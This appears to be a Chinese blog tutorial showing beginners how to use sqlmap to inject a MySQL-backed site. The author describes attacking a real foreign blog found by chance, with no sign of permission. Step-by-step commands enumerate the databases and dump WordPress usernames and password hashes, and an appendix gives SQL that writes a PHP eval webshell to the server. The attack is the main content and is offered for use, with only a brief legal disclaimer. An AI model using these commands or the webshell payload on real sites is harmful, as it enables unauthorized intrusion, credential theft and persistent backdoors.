详解新手如何使用sqlmap对mysql数据库进行注入攻击

步骤1:发现注入
闲来没事儿在网上瞎逛,无意中点开一个国外的博客,发现链接是以id为结尾的,于是就手工检测了一下,结果嘛…你懂的
在这里插入图片描述在这里插入图片描述检测页面返回不正常,明显是带入数据库查询了,并且没有WAF,老弟就只好给你上一课啦嘻嘻嘻
这里需要注意一下
mysql跟Access有些不同,mysql数据库里有很多个数据库,我们需要知道网站自己的数据库,以便于得到管理的账号密码,它的结构大体是这样的:
在这里插入图片描述步骤二:使用sqlmap进行注入攻击
首先我们先看一下他的权限,如果是DBA的话可以直接写一句话的,前提是你也要有网站的绝对路径,具体命令在文章最后会写出来。接下来用
sqlmap -u “www.XXXX.com/web/index.php?id=31” --is-dba在这里插入图片描述False,很遗憾并不是,你就只能一步一步来了
接着用sqlmap -u “www.XXX.com/web/index.php?id=31” --current-db,爆一下它自己的数据库,一般网站管理的账号密码都在这里面
在这里插入图片描述然后用sqlmap -u “www.XXX.com/web/index.php?id=31” --tables -D 数据库名 来爆表名
在这里插入图片描述从这里可以看出,后台用的是WordPress,假设我们一开始没有发现注入,我们同样可以用0day来搞它,网站后台的账号密码不出意外应该在uesrs表中,我们用
sqlmap -u “www.XXX.com/web/index.php?id=31” --columns -T wp_users -D sallatykkaco 来爆列名
在这里插入图片描述很明显账号密码在user_login,user_pass这两个列里,然后我们用
sqlmap -u “www.XXX.com/web/index.php?id=31” --dump -C “user_login,user_pass” -T wp_users -D sallatykkaco 来爆字段名
这里提示需要爆破,由于很慢(slow)我们就不在这上面爆破了,拿到网站上去解码
在这里插入图片描述这个加密形式老弟还是头一回见,这下得好好研究一下了…
在这里插入图片描述剩下的常规操作就不在这里一一细说了,进后台,传小马,放大马,拿Shell…
在这里插入图片描述

附加
mysql是DBA直接写一句话
1、创建一个表
create TABLE a (cmd text NOT NULL);
2、插入数据
insert INTO a (cmd) VALUES(’<?php eval($_POST[hihack]);?>’);
3、导出一句话
select cmd from a into outfile ‘C:\AppServ\www\x.php’;
4、删除表
Drop TABLE IF EXISTS a;

成功条件:有读写的权限,有create、insert、select的权限

注:本文仅供参考学习,请勿在网上搞破坏,触犯法律者应承担相应的法律责任!

发布了12 篇原创文章 · 获赞 13 · 访问量 2786

猜你喜欢

转载自blog.csdn.net/qq_43573676/article/details/88360471